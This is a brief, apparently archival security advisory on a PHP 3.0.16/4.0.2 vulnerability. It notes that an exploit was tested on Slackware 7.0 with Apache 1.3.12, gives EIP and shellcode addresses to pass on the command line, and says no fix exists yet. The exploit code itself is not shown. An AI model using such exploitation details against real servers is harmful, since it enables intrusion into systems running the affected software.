PHP 3.0.16/4.0.2
PROBLEM
August Gneisenau found following. He did test on
Slack-7.0/Apache-1.3.12/PHP-3.0.16. If the default ones dont
work specify these from the commandline for slack 7.0 eip
address/shellcode address 0xbfff9b90/0xbfff958c.

SOLUTION
It should be noted that Slackware does not ship php. This exploit
is PHP specific. Nothing yet.
